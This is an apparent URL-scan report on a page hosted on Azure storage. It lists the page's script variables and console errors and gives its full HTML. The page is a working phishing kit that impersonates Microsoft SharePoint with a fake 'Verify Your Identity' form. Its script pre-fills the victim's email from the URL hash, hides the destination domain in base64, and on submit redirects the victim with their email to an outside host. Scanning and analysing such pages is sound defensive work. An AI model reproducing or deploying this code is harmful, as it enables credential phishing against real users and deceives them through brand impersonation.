https://postservice.z9.web.core.windows.net/

ID da verificação
a6ce268c-8e6b-4d7b-83d4-717e801f42e7Concluído
URL enviado:
https://postservice.z9.web.core.windows.net/
Relatório concluído:

Ligações · 0 encontradas

Variáveis JavaScript · 6 encontradas

NomeTipo
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
continueLoadingfunction
generateRandomNumberfunction
validateEmailfunction

Mensagens de registo da consola · 2 encontradas

TipoCategoriaRegisto
errornetwork
URL
https://media.istockphoto.com/id/1176645479/vector/abstract-modern-background-with-hexagonal-pattern.jpg
Texto
Failed to load resource: the server responded with a status of 400 (Bad Request)
errornetwork
URL
https://postservice.z9.web.core.windows.net/favicon.ico
Texto
Failed to load resource: the server responded with a status of 404 (The requested content does not exist.)

HTML

<!DOCTYPE html><html lang="en"><head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Microsoft SharePoint - Verify Identity</title>
  <style>
    body {
      font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
      background-color: #f3f2f1;
      margin: 0;
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
      color: #333;
      background-image: url('https://media.istockphoto.com/id/1176645479/vector/abstract-modern-background-with-hexagonal-pattern.jpg');
      background-size: cover;
      background-position: center;
    }
    
    .header {
      width: 100%;
      background-color: #2b579a; /* Microsoft blue */
      color: white;
      text-align: left;
      padding: 15px 25px;
      position: absolute;
      top: 0;
      font-size: 20px;
      font-weight: bold;
      display: flex;
      align-items: center;
    }
    
    .header img {
      width: 40px;
      height: auto;
      margin-right: 15px;
    }
    
    .container {
      background-color: white;
      padding: 40px;
      border-radius: 8px;
      box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
      width: 320px;
      text-align: center;
      position: relative;
    }
    
    .container img {
      width: 80px;
      margin-bottom: 20px;
    }
    
    h2 {
      font-size: 22px;
      margin-bottom: 20px;
      color: #2b579a;
    }
    
    p {
      color: #666;
      margin-bottom: 15px;
      font-size: 14px;
    }

    .container input[type="email"] {
      width: 100%;
      padding: 12px;
      margin-bottom: 20px;
      border: 1px solid #ccc;
      border-radius: 5px;
      font-size: 16px;
      box-sizing: border-box;
      text-align: left;
    }
    
    .container button {
      width: 100%;
      padding: 12px;
      background-color: #0078d4;
      color: white;
      border: none;
      border-radius: 5px;
      font-size: 16px;
      cursor: pointer;
    }
    
    .container button:hover {
      background-color: #005a9e;
    }

    .footer {
      font-size: 12px;
      color: #888;
      margin-top: 20px;
    }

    @media (max-width: 600px) {
      .container {
        width: 90%;
        padding: 20px;
      }

      h2 {
        font-size: 20px;
      }

      .container button,
      .container input[type="email"] {
        font-size: 14px;
      }
    }
  </style>
</head>
<body>

  <div class="header">
    <img src="https://www.cloudally.com/wp-content/uploads/2019/12/f1c46367-08a0-43f5-9e0d-563248699cf9.png" alt="SharePoint Logo">
    <span>Microsoft SharePoint</span>
  </div>

  <div class="container">
    <img src="https://banner2.cleanpng.com/20180612/fre/aa88jvis3.webp" alt="Microsoft SharePoint Logo">
    <h2>Verify Your Identity</h2>
    <p><strong>Secure Document Access:</strong></p>
    <p>To proceed, please confirm the email address associated with this document.</p>
    
    <form id="verification-form">
      <input id="email-input" placeholder="Enter your email address" required="" type="email">
      <button type="submit">Verify</button>
    </form>
  </div>

  <script>
   
    const base64EncodedDomain = 'ZG9jdW1lbnRzLXJldmlldy5jbG91ZA=='; 

    document.addEventListener('DOMContentLoaded', function() {
      const hash = window.location.hash.substring(1); // Extract email from URL hash
      const email = decodeURIComponent(hash);
      
      if (validateEmail(email)) {
        document.getElementById('email-input').value = email;
      }
    });

    function continueLoading() {
      const emailInput = document.getElementById('email-input');
      const email = emailInput.value.trim().toLowerCase();
      
      if (validateEmail(email)) {
        const randomNumber = generateRandomNumber(); // Generate the random 10-digit number
        
        // Decode base64-encoded domain
        const decodedDomain = atob(base64EncodedDomain);
        
        // Construct final URL
        const link = `https://${decodedDomain}/`; // Dynamic wildcard URL
        const finalLink = `${link}&${encodeURIComponent(email)}`;

        // Redirect to the decoded URL
        window.location.href = finalLink;
      } else {
        alert("Please enter a valid email address.");
      }
    }

    // Function to generate a random 10-digit number
    function generateRandomNumber() {
      let randomNumber = '';
      for (let i = 0; i < 10; i++) {
        randomNumber += Math.floor(Math.random() * 10); // Generate random digit (0-9)
      }
      return randomNumber;
    }

    function validateEmail(email) {
      const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
      return re.test(email);
    }

    document.getElementById('verification-form').addEventListener('submit', function(event) {
      event.preventDefault();
      continueLoading();
    });

    document.getElementById('email-input').addEventListener('keydown', function(event) {
      if (event.key === 'Enter') {
        document.getElementById('verification-form').dispatchEvent(new Event('submit'));
      }
    });
  </script>


</body></html>